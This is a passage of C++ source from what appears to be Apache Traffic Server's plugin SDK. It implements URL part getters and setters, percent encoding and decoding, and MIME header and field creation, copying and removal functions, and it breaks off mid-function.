*locp = (TSMLoc)d_url;
return TS_SUCCESS;
}
TSReturnCode
TSUrlCopy(TSMBuffer dest_bufp, TSMLoc dest_obj, TSMBuffer src_bufp, TSMLoc src_obj)
{
sdk_assert(sdk_sanity_check_mbuffer(src_bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_mbuffer(dest_bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_url_handle(src_obj) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_url_handle(dest_obj) == TS_SUCCESS);
if (!isWriteable(dest_bufp)) {
return TS_ERROR;
}
HdrHeap *s_heap, *d_heap;
URLImpl *s_url, *d_url;
s_heap = ((HdrHeapSDKHandle *)src_bufp)->m_heap;
d_heap = ((HdrHeapSDKHandle *)dest_bufp)->m_heap;
s_url = (URLImpl *)src_obj;
d_url = (URLImpl *)dest_obj;
url_copy_onto(s_url, s_heap, d_url, d_heap, (s_heap != d_heap));
return TS_SUCCESS;
}
void
TSUrlPrint(TSMBuffer bufp, TSMLoc obj, TSIOBuffer iobufp)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_url_handle(obj) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_iocore_structure(iobufp) == TS_SUCCESS);
MIOBuffer *b = (MIOBuffer *)iobufp;
IOBufferBlock *blk;
int bufindex;
int tmp, dumpoffset;
int done;
URL u;
u.m_heap = ((HdrHeapSDKHandle *)bufp)->m_heap;
u.m_url_impl = (URLImpl *)obj;
dumpoffset = 0;
do {
blk = b->get_current_block();
if (!blk || blk->write_avail() == 0) {
b->add_block();
blk = b->get_current_block();
}
bufindex = 0;
tmp = dumpoffset;
done = u.print(blk->end(), blk->write_avail(), &bufindex, &tmp);
dumpoffset += bufindex;
b->fill(bufindex);
} while (!done);
}
TSParseResult
TSUrlParse(TSMBuffer bufp, TSMLoc obj, const char **start, const char *end)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_url_handle(obj) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)start) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)*start) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)end) == TS_SUCCESS);
if (!isWriteable(bufp)) {
return TS_PARSE_ERROR;
}
URL u;
u.m_heap = ((HdrHeapSDKHandle *)bufp)->m_heap;
u.m_url_impl = (URLImpl *)obj;
url_clear(u.m_url_impl);
return (TSParseResult)u.parse(start, end);
}
int
TSUrlLengthGet(TSMBuffer bufp, TSMLoc obj)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_url_handle(obj) == TS_SUCCESS);
URLImpl *url_impl = (URLImpl *)obj;
return url_length_get(url_impl);
}
char *
TSUrlStringGet(TSMBuffer bufp, TSMLoc obj, int *length)
{
// bufp is not actually used anymore, so it can be null.
if (bufp) {
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
}
sdk_assert(sdk_sanity_check_url_handle(obj) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)length) == TS_SUCCESS);
URLImpl *url_impl = (URLImpl *)obj;
return url_string_get(url_impl, nullptr, length, nullptr);
}
using URLPartGetF = const char *(URL::*)(int *);
using URLPartSetF = void (URL::*)(const char *, int);
static const char *
URLPartGet(TSMBuffer bufp, TSMLoc obj, int *length, URLPartGetF url_f)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_url_handle(obj) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)length) == TS_SUCCESS);
URL u;
u.m_heap = ((HdrHeapSDKHandle *)bufp)->m_heap;
u.m_url_impl = (URLImpl *)obj;
return (u.*url_f)(length);
}
static TSReturnCode
URLPartSet(TSMBuffer bufp, TSMLoc obj, const char *value, int length, URLPartSetF url_f)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_url_handle(obj) == TS_SUCCESS);
if (!isWriteable(bufp)) {
return TS_ERROR;
}
URL u;
u.m_heap = ((HdrHeapSDKHandle *)bufp)->m_heap;
u.m_url_impl = (URLImpl *)obj;
if (!value) {
length = 0;
} else if (length < 0) {
length = strlen(value);
}
(u.*url_f)(value, length);
return TS_SUCCESS;
}
const char *
TSUrlSchemeGet(TSMBuffer bufp, TSMLoc obj, int *length)
{
return URLPartGet(bufp, obj, length, &URL::scheme_get);
}
TSReturnCode
TSUrlSchemeSet(TSMBuffer bufp, TSMLoc obj, const char *value, int length)
{
return URLPartSet(bufp, obj, value, length, &URL::scheme_set);
}
/* Internet specific URLs */
const char *
TSUrlUserGet(TSMBuffer bufp, TSMLoc obj, int *length)
{
return URLPartGet(bufp, obj, length, &URL::user_get);
}
TSReturnCode
TSUrlUserSet(TSMBuffer bufp, TSMLoc obj, const char *value, int length)
{
return URLPartSet(bufp, obj, value, length, &URL::user_set);
}
const char *
TSUrlPasswordGet(TSMBuffer bufp, TSMLoc obj, int *length)
{
return URLPartGet(bufp, obj, length, &URL::password_get);
}
TSReturnCode
TSUrlPasswordSet(TSMBuffer bufp, TSMLoc obj, const char *value, int length)
{
return URLPartSet(bufp, obj, value, length, &URL::password_set);
}
const char *
TSUrlHostGet(TSMBuffer bufp, TSMLoc obj, int *length)
{
return URLPartGet(bufp, obj, length, &URL::host_get);
}
TSReturnCode
TSUrlHostSet(TSMBuffer bufp, TSMLoc obj, const char *value, int length)
{
return URLPartSet(bufp, obj, value, length, &URL::host_set);
}
int
TSUrlPortGet(TSMBuffer bufp, TSMLoc obj)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_url_handle(obj) == TS_SUCCESS);
URL u;
u.m_heap = ((HdrHeapSDKHandle *)bufp)->m_heap;
u.m_url_impl = (URLImpl *)obj;
return u.port_get();
}
TSReturnCode
TSUrlPortSet(TSMBuffer bufp, TSMLoc obj, int port)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_url_handle(obj) == TS_SUCCESS);
if (!isWriteable(bufp) || (port < 0)) {
return TS_ERROR;
}
URL u;
u.m_heap = ((HdrHeapSDKHandle *)bufp)->m_heap;
u.m_url_impl = (URLImpl *)obj;
u.port_set(port);
return TS_SUCCESS;
}
/* FTP and HTTP specific URLs */
const char *
TSUrlPathGet(TSMBuffer bufp, TSMLoc obj, int *length)
{
return URLPartGet(bufp, obj, length, &URL::path_get);
}
TSReturnCode
TSUrlPathSet(TSMBuffer bufp, TSMLoc obj, const char *value, int length)
{
return URLPartSet(bufp, obj, value, length, &URL::path_set);
}
/* FTP specific URLs */
int
TSUrlFtpTypeGet(TSMBuffer bufp, TSMLoc obj)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_url_handle(obj) == TS_SUCCESS);
URL u;
u.m_heap = ((HdrHeapSDKHandle *)bufp)->m_heap;
u.m_url_impl = (URLImpl *)obj;
return u.type_get();
}
TSReturnCode
TSUrlFtpTypeSet(TSMBuffer bufp, TSMLoc obj, int type)
{
// The valid values are : 0, 65('A'), 97('a'),
// 69('E'), 101('e'), 73 ('I') and 105('i').
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_url_handle(obj) == TS_SUCCESS);
if ((type == 0 || type == 'A' || type == 'E' || type == 'I' || type == 'a' || type == 'i' || type == 'e') && isWriteable(bufp)) {
URL u;
u.m_heap = ((HdrHeapSDKHandle *)bufp)->m_heap;
u.m_url_impl = (URLImpl *)obj;
u.type_set(type);
return TS_SUCCESS;
}
return TS_ERROR;
}
/* HTTP specific URLs */
const char *
TSUrlHttpParamsGet(TSMBuffer bufp, TSMLoc obj, int *length)
{
return URLPartGet(bufp, obj, length, &URL::params_get);
}
TSReturnCode
TSUrlHttpParamsSet(TSMBuffer bufp, TSMLoc obj, const char *value, int length)
{
return URLPartSet(bufp, obj, value, length, &URL::params_set);
}
const char *
TSUrlHttpQueryGet(TSMBuffer bufp, TSMLoc obj, int *length)
{
return URLPartGet(bufp, obj, length, &URL::query_get);
}
TSReturnCode
TSUrlHttpQuerySet(TSMBuffer bufp, TSMLoc obj, const char *value, int length)
{
return URLPartSet(bufp, obj, value, length, &URL::query_set);
}
const char *
TSUrlHttpFragmentGet(TSMBuffer bufp, TSMLoc obj, int *length)
{
return URLPartGet(bufp, obj, length, &URL::fragment_get);
}
TSReturnCode
TSUrlHttpFragmentSet(TSMBuffer bufp, TSMLoc obj, const char *value, int length)
{
return URLPartSet(bufp, obj, value, length, &URL::fragment_set);
}
// URL percent encoding
TSReturnCode
TSStringPercentEncode(const char *str, int str_len, char *dst, size_t dst_size, size_t *length, const unsigned char *map)
{
sdk_assert(sdk_sanity_check_null_ptr((void *)str) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)dst) == TS_SUCCESS);
int new_len; // Unfortunately, a lot of the core uses "int" for length's internally...
if (str_len < 0) {
str_len = strlen(str);
}
sdk_assert(str_len < static_cast<int>(dst_size));
// TODO: Perhaps we should make escapify_url() deal with const properly...
// You would think making escapify_url const correct for the source argument would be easy, but in the case where
// No escaping is needed, the source argument is returned. If there is a destination argument, the source is copied over
// However, if there is no destination argument, none is allocated. I don't understand the full possibility of calling cases.
// It seems like we might want to review how this is being called and perhaps create a number of smaller accessor methods that
// can be set up correctly.
if (nullptr == LogUtils::pure_escapify_url(nullptr, const_cast<char *>(str), str_len, &new_len, dst, dst_size, map)) {
if (length) {
*length = 0;
}
return TS_ERROR;
}
if (length) {
*length = new_len;
}
return TS_SUCCESS;
}
TSReturnCode
TSStringPercentDecode(const char *str, size_t str_len, char *dst, size_t dst_size, size_t *length)
{
sdk_assert(sdk_sanity_check_null_ptr((void *)str) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)dst) == TS_SUCCESS);
if (0 == str_len) {
str_len = strlen(str);
}
// return unescapifyStr(str);
char *buffer = dst;
const char *src = str;
int s = 0; // State, which we don't really use
// TODO: We should check for "failures" here?
unescape_str(buffer, buffer + dst_size, src, src + str_len, s);
size_t data_written = std::min<size_t>(buffer - dst, dst_size - 1);
*(dst + data_written) = '\0';
if (length) {
*length = (data_written);
}
return TS_SUCCESS;
}
TSReturnCode
TSUrlPercentEncode(TSMBuffer bufp, TSMLoc obj, char *dst, size_t dst_size, size_t *length, const unsigned char *map)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_url_handle(obj) == TS_SUCCESS);
char *url;
int url_len;
TSReturnCode ret;
URLImpl *url_impl = (URLImpl *)obj;
// TODO: at some point, it might be nice to allow this to write to a pre-allocated buffer
url = url_string_get(url_impl, nullptr, &url_len, nullptr);
ret = TSStringPercentEncode(url, url_len, dst, dst_size, length, map);
ats_free(url);
return ret;
}
// pton
TSReturnCode
TSIpStringToAddr(const char *str, size_t str_len, sockaddr *addr)
{
sdk_assert(sdk_sanity_check_null_ptr((void *)str) == TS_SUCCESS);
if (0 != ats_ip_pton(std::string_view(str, str_len), addr)) {
return TS_ERROR;
}
return TS_SUCCESS;
}
////////////////////////////////////////////////////////////////////
//
// MIME Headers
//
////////////////////////////////////////////////////////////////////
/**************/
/* MimeParser */
/**************/
TSMimeParser
TSMimeParserCreate()
{
TSMimeParser parser = reinterpret_cast<TSMimeParser>(ats_malloc(sizeof(MIMEParser)));
mime_parser_init((MIMEParser *)parser);
return parser;
}
void
TSMimeParserClear(TSMimeParser parser)
{
sdk_assert(sdk_sanity_check_mime_parser(parser) == TS_SUCCESS);
mime_parser_clear((MIMEParser *)parser);
}
void
TSMimeParserDestroy(TSMimeParser parser)
{
sdk_assert(sdk_sanity_check_mime_parser(parser) == TS_SUCCESS);
mime_parser_clear((MIMEParser *)parser);
ats_free(parser);
}
/***********/
/* MimeHdr */
/***********/
// TSMBuffer: pointers to HdrHeapSDKHandle objects
// TSMLoc: pointers to MIMEFieldSDKHandle objects
TSReturnCode
TSMimeHdrCreate(TSMBuffer bufp, TSMLoc *locp)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If not allowed, return NULL.
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)locp) == TS_SUCCESS);
if (!isWriteable(bufp)) {
return TS_ERROR;
}
*locp = reinterpret_cast<TSMLoc>(mime_hdr_create(((HdrHeapSDKHandle *)bufp)->m_heap));
return TS_SUCCESS;
}
TSReturnCode
TSMimeHdrDestroy(TSMBuffer bufp, TSMLoc obj)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If allowed, return TS_SUCCESS. Changed the
// return value of function from void to TSReturnCode.
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(obj) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(obj) == TS_SUCCESS));
if (!isWriteable(bufp)) {
return TS_ERROR;
}
MIMEHdrImpl *mh = _hdr_mloc_to_mime_hdr_impl(obj);
mime_hdr_destroy(((HdrHeapSDKHandle *)bufp)->m_heap, mh);
return TS_SUCCESS;
}
TSReturnCode
TSMimeHdrClone(TSMBuffer dest_bufp, TSMBuffer src_bufp, TSMLoc src_hdr, TSMLoc *locp)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If not allowed, return NULL.
sdk_assert(sdk_sanity_check_mbuffer(dest_bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_mbuffer(src_bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_mime_hdr_handle(src_hdr) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_http_hdr_handle(src_hdr) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)locp) == TS_SUCCESS);
if (!isWriteable(dest_bufp)) {
return TS_ERROR;
}
HdrHeap *s_heap, *d_heap;
MIMEHdrImpl *s_mh, *d_mh;
s_heap = ((HdrHeapSDKHandle *)src_bufp)->m_heap;
d_heap = ((HdrHeapSDKHandle *)dest_bufp)->m_heap;
s_mh = _hdr_mloc_to_mime_hdr_impl(src_hdr);
d_mh = mime_hdr_clone(s_mh, s_heap, d_heap, (s_heap != d_heap));
*locp = (TSMLoc)d_mh;
return TS_SUCCESS;
}
TSReturnCode
TSMimeHdrCopy(TSMBuffer dest_bufp, TSMLoc dest_obj, TSMBuffer src_bufp, TSMLoc src_obj)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If allowed, return TS_SUCCESS. Changed the
// return value of function from void to TSReturnCode.
sdk_assert(sdk_sanity_check_mbuffer(src_bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_mbuffer(dest_bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(src_obj) == TS_SUCCESS) ||
(sdk_sanity_check_http_hdr_handle(src_obj) == TS_SUCCESS));
sdk_assert((sdk_sanity_check_mime_hdr_handle(dest_obj) == TS_SUCCESS) ||
(sdk_sanity_check_http_hdr_handle(dest_obj) == TS_SUCCESS));
if (!isWriteable(dest_bufp)) {
return TS_ERROR;
}
HdrHeap *s_heap, *d_heap;
MIMEHdrImpl *s_mh, *d_mh;
s_heap = ((HdrHeapSDKHandle *)src_bufp)->m_heap;
d_heap = ((HdrHeapSDKHandle *)dest_bufp)->m_heap;
s_mh = _hdr_mloc_to_mime_hdr_impl(src_obj);
d_mh = _hdr_mloc_to_mime_hdr_impl(dest_obj);
mime_hdr_fields_clear(d_heap, d_mh);
mime_hdr_copy_onto(s_mh, s_heap, d_mh, d_heap, (s_heap != d_heap));
return TS_SUCCESS;
}
void
TSMimeHdrPrint(TSMBuffer bufp, TSMLoc obj, TSIOBuffer iobufp)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(obj) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(obj) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_iocore_structure(iobufp) == TS_SUCCESS);
HdrHeap *heap = ((HdrHeapSDKHandle *)bufp)->m_heap;
MIMEHdrImpl *mh = _hdr_mloc_to_mime_hdr_impl(obj);
MIOBuffer *b = (MIOBuffer *)iobufp;
IOBufferBlock *blk;
int bufindex;
int tmp, dumpoffset = 0;
int done;
do {
blk = b->get_current_block();
if (!blk || blk->write_avail() == 0) {
b->add_block();
blk = b->get_current_block();
}
bufindex = 0;
tmp = dumpoffset;
done = mime_hdr_print(heap, mh, blk->end(), blk->write_avail(), &bufindex, &tmp);
dumpoffset += bufindex;
b->fill(bufindex);
} while (!done);
}
TSParseResult
TSMimeHdrParse(TSMimeParser parser, TSMBuffer bufp, TSMLoc obj, const char **start, const char *end)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(obj) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(obj) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_null_ptr((void *)start) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)*start) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)end) == TS_SUCCESS);
if (!isWriteable(bufp)) {
return TS_PARSE_ERROR;
}
MIMEHdrImpl *mh = _hdr_mloc_to_mime_hdr_impl(obj);
return (TSParseResult)mime_parser_parse((MIMEParser *)parser, ((HdrHeapSDKHandle *)bufp)->m_heap, mh, start, end, false, false);
}
int
TSMimeHdrLengthGet(TSMBuffer bufp, TSMLoc obj)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(obj) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(obj) == TS_SUCCESS));
MIMEHdrImpl *mh = _hdr_mloc_to_mime_hdr_impl(obj);
return mime_hdr_length_get(mh);
}
TSReturnCode
TSMimeHdrFieldsClear(TSMBuffer bufp, TSMLoc obj)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(obj) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(obj) == TS_SUCCESS));
if (!isWriteable(bufp)) {
return TS_ERROR;
}
MIMEHdrImpl *mh = _hdr_mloc_to_mime_hdr_impl(obj);
mime_hdr_fields_clear(((HdrHeapSDKHandle *)bufp)->m_heap, mh);
return TS_SUCCESS;
}
int
TSMimeHdrFieldsCount(TSMBuffer bufp, TSMLoc obj)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(obj) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(obj) == TS_SUCCESS));
MIMEHdrImpl *mh = _hdr_mloc_to_mime_hdr_impl(obj);
return mime_hdr_fields_count(mh);
}
// The following three helper functions should not be used in plugins! Since they are not used
// by plugins, there's no need to validate the input.
const char *
TSMimeFieldValueGet(TSMBuffer /* bufp ATS_UNUSED */, TSMLoc field_obj, int idx, int *value_len_ptr)
{
MIMEFieldSDKHandle *handle = (MIMEFieldSDKHandle *)field_obj;
if (idx >= 0) {
return mime_field_value_get_comma_val(handle->field_ptr, value_len_ptr, idx);
} else {
return handle->field_ptr->value_get(value_len_ptr);
}
}
void
TSMimeFieldValueSet(TSMBuffer bufp, TSMLoc field_obj, int idx, const char *value, int length)
{
MIMEFieldSDKHandle *handle = (MIMEFieldSDKHandle *)field_obj;
HdrHeap *heap = ((HdrHeapSDKHandle *)bufp)->m_heap;
if (length == -1) {
length = strlen(value);
}
if (idx >= 0) {
mime_field_value_set_comma_val(heap, handle->mh, handle->field_ptr, idx, value, length);
} else {
mime_field_value_set(heap, handle->mh, handle->field_ptr, value, length, true);
}
}
void
TSMimeFieldValueInsert(TSMBuffer bufp, TSMLoc field_obj, const char *value, int length, int idx)
{
MIMEFieldSDKHandle *handle = (MIMEFieldSDKHandle *)field_obj;
HdrHeap *heap = ((HdrHeapSDKHandle *)bufp)->m_heap;
if (length == -1) {
length = strlen(value);
}
mime_field_value_insert_comma_val(heap, handle->mh, handle->field_ptr, idx, value, length);
}
/****************/
/* MimeHdrField */
/****************/
// TSMBuffer: pointers to HdrHeapSDKHandle objects
// TSMLoc: pointers to MIMEFieldSDKHandle objects
int
TSMimeHdrFieldEqual(TSMBuffer bufp, TSMLoc hdr_obj, TSMLoc field1_obj, TSMLoc field2_obj)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_field_handle(field1_obj, hdr_obj) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_field_handle(field2_obj, hdr_obj) == TS_SUCCESS);
MIMEFieldSDKHandle *field1_handle = (MIMEFieldSDKHandle *)field1_obj;
MIMEFieldSDKHandle *field2_handle = (MIMEFieldSDKHandle *)field2_obj;
if ((field1_handle == nullptr) || (field2_handle == nullptr)) {
return (field1_handle == field2_handle);
}
return (field1_handle->field_ptr == field2_handle->field_ptr);
}
TSMLoc
TSMimeHdrFieldGet(TSMBuffer bufp, TSMLoc hdr_obj, int idx)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(hdr_obj) == TS_SUCCESS) ||
(sdk_sanity_check_http_hdr_handle(hdr_obj) == TS_SUCCESS));
sdk_assert(idx >= 0);
MIMEHdrImpl *mh = _hdr_mloc_to_mime_hdr_impl(hdr_obj);
MIMEField *f = mime_hdr_field_get(mh, idx);
if (f == nullptr) {
return TS_NULL_MLOC;
}
MIMEFieldSDKHandle *h = sdk_alloc_field_handle(bufp, mh);
h->field_ptr = f;
return reinterpret_cast<TSMLoc>(h);
}
TSMLoc
TSMimeHdrFieldFind(TSMBuffer bufp, TSMLoc hdr_obj, const char *name, int length)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(hdr_obj) == TS_SUCCESS) ||
(sdk_sanity_check_http_hdr_handle(hdr_obj) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_null_ptr((void *)name) == TS_SUCCESS);
if (length == -1) {
length = strlen(name);
}
MIMEHdrImpl *mh = _hdr_mloc_to_mime_hdr_impl(hdr_obj);
MIMEField *f = mime_hdr_field_find(mh, name, length);
if (f == nullptr) {
return TS_NULL_MLOC;
}
MIMEFieldSDKHandle *h = sdk_alloc_field_handle(bufp, mh);
h->field_ptr = f;
return reinterpret_cast<TSMLoc>(h);
}
TSReturnCode
TSMimeHdrFieldAppend(TSMBuffer bufp, TSMLoc mh_mloc, TSMLoc field_mloc)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If allowed, return TS_SUCCESS. Changed the
// return value of function from void to TSReturnCode.
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(mh_mloc) == TS_SUCCESS) ||
(sdk_sanity_check_http_hdr_handle(mh_mloc) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(field_mloc) == TS_SUCCESS);
if (!isWriteable(bufp)) {
return TS_ERROR;
}
MIMEField *mh_field;
MIMEHdrImpl *mh = _hdr_mloc_to_mime_hdr_impl(mh_mloc);
MIMEFieldSDKHandle *field_handle = (MIMEFieldSDKHandle *)field_mloc;
//////////////////////////////////////////////////////////////////////
// The field passed in field_mloc might have been allocated from //
// inside a MIME header (the correct way), or it might have been //
// created in isolation as a "standalone field" (the old way). //
// //
// If it's a standalone field (the associated mime header is NULL), //
// then we need to now allocate a real field inside the header, //
// copy over the data, and convert the standalone field into a //
// forwarding pointer to the real field, in case it's used again //
//////////////////////////////////////////////////////////////////////
if (field_handle->mh == nullptr) {
HdrHeap *heap = (HdrHeap *)(((HdrHeapSDKHandle *)bufp)->m_heap);
// allocate a new hdr field and copy any pre-set info
mh_field = mime_field_create(heap, mh);
// FIX: is it safe to copy everything over?
memcpy(mh_field, field_handle->field_ptr, sizeof(MIMEField));
// now set up the forwarding ptr from standalone field to hdr field
field_handle->mh = mh;
field_handle->field_ptr = mh_field;
}
ink_assert(field_handle->mh == mh);
ink_assert(field_handle->field_ptr->m_ptr_name);
mime_hdr_field_attach(mh, field_handle->field_ptr, 1, nullptr);
return TS_SUCCESS;
}
TSReturnCode
TSMimeHdrFieldRemove(TSMBuffer bufp, TSMLoc mh_mloc, TSMLoc field_mloc)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If allowed, return TS_SUCCESS. Changed the
// return value of function from void to TSReturnCode.
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(mh_mloc) == TS_SUCCESS) ||
(sdk_sanity_check_http_hdr_handle(mh_mloc) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(field_mloc, mh_mloc) == TS_SUCCESS);
if (!isWriteable(bufp)) {
return TS_ERROR;
}
MIMEFieldSDKHandle *field_handle = (MIMEFieldSDKHandle *)field_mloc;
if (field_handle->mh != nullptr) {
MIMEHdrImpl *mh = _hdr_mloc_to_mime_hdr_impl(mh_mloc);
ink_assert(mh == field_handle->mh);
sdk_sanity_check_field_handle(field_mloc, mh_mloc);
mime_hdr_field_detach(mh, field_handle->field_ptr, false); // only detach this dup
}
return TS_SUCCESS;
}
TSReturnCode
TSMimeHdrFieldDestroy(TSMBuffer bufp, TSMLoc mh_mloc, TSMLoc field_mloc)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If allowed, return TS_SUCCESS. Changed the
// return value of function from void to TSReturnCode.
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(mh_mloc) == TS_SUCCESS) ||
(sdk_sanity_check_http_hdr_handle(mh_mloc) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(field_mloc, mh_mloc) == TS_SUCCESS);
if (!isWriteable(bufp)) {
return TS_ERROR;
}
MIMEFieldSDKHandle *field_handle = (MIMEFieldSDKHandle *)field_mloc;
if (field_handle->mh == nullptr) { // NOT SUPPORTED!!
ink_release_assert(!"Failed MH");
} else {
MIMEHdrImpl *mh = _hdr_mloc_to_mime_hdr_impl(mh_mloc);
HdrHeap *heap = (HdrHeap *)(((HdrHeapSDKHandle *)bufp)->m_heap);
ink_assert(mh == field_handle->mh);
if (sdk_sanity_check_field_handle(field_mloc, mh_mloc) != TS_SUCCESS) {
return TS_ERROR;
}
// detach and delete this field, but not all dups
mime_hdr_field_delete(heap, mh, field_handle->field_ptr, false);
}
// for consistence, the handle will not be released here.
// users will be required to do it.
return TS_SUCCESS;
}
TSReturnCode
TSMimeHdrFieldCreate(TSMBuffer bufp, TSMLoc mh_mloc, TSMLoc *locp)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If not allowed, return NULL.
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(mh_mloc) == TS_SUCCESS) ||
(sdk_sanity_check_http_hdr_handle(mh_mloc) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_null_ptr((void *)locp) == TS_SUCCESS);
if (!isWriteable(bufp)) {
return TS_ERROR;
}
MIMEHdrImpl *mh = _hdr_mloc_to_mime_hdr_impl(mh_mloc);
HdrHeap *heap = (HdrHeap *)(((HdrHeapSDKHandle *)bufp)->m_heap);
MIMEFieldSDKHandle *h = sdk_alloc_field_handle(bufp, mh);
h->field_ptr = mime_field_create(heap, mh);
*locp = reinterpret_cast<TSMLoc>(h);
return TS_SUCCESS;
}
TSReturnCode
TSMimeHdrFieldCreateNamed(TSMBuffer bufp, TSMLoc mh_mloc, const char *name, int name_len, TSMLoc *locp)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(mh_mloc) == TS_SUCCESS) ||
(sdk_sanity_check_http_hdr_handle(mh_mloc) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_null_ptr((void *)name) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)locp) == TS_SUCCESS);
if (!isWriteable(bufp)) {
return TS_ERROR;
}
if (name_len == -1) {
name_len = strlen(name);
}
MIMEHdrImpl *mh = _hdr_mloc_to_mime_hdr_impl(mh_mloc);
HdrHeap *heap = (HdrHeap *)(((HdrHeapSDKHandle *)bufp)->m_heap);
MIMEFieldSDKHandle *h = sdk_alloc_field_handle(bufp, mh);
h->field_ptr = mime_field_create_named(heap, mh, name, name_len);
*locp = reinterpret_cast<TSMLoc>(h);
return TS_SUCCESS;
}
TSReturnCode
TSMimeHdrFieldCopy(TSMBuffer dest_bufp, TSMLoc dest_hdr, TSMLoc dest_field, TSMBuffer src_bufp, TSMLoc src_hdr, TSMLoc src_field)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If allowed, return TS_SUCCESS. Changed the
